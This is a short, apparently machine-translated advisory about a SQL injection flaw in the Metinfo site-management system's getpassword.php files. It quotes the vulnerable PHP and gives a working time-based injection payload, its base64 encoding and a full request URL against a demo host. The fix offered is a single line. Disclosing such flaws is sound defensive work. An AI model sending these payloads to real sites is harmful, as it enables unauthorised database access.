Metinfo enterprise website management system SQL injection and repair solution

Member/getpassword. php and admin/getpassword. php files

If ($ p) {$ array = explode ('. ', base64_decode ($ p); $ SQL = "SELECT * FROM $ met_admin_table WHERE admin_id = '". $ array [0]. "'"; $ sqlarray = $ db-> get_one ($ SQL );

 

The base64_decode ($ p) value is separated by explode and then submitted to the $ array. Finally, $ array [0] enters the SQL query, where injection occurs.

1 'or (select sleep (5) #. 1 encode the base64 MSdvcihzZWxlY3Qgc2xlZXAoMTApKSMuMQ = and then http://demo.metinfo.cn/member/getpassword.php? Lang = cn & p = MSdvcihzZWxlY3Qgc2xlZXAoNSkpIy4x Solution:

Filter $ array [0]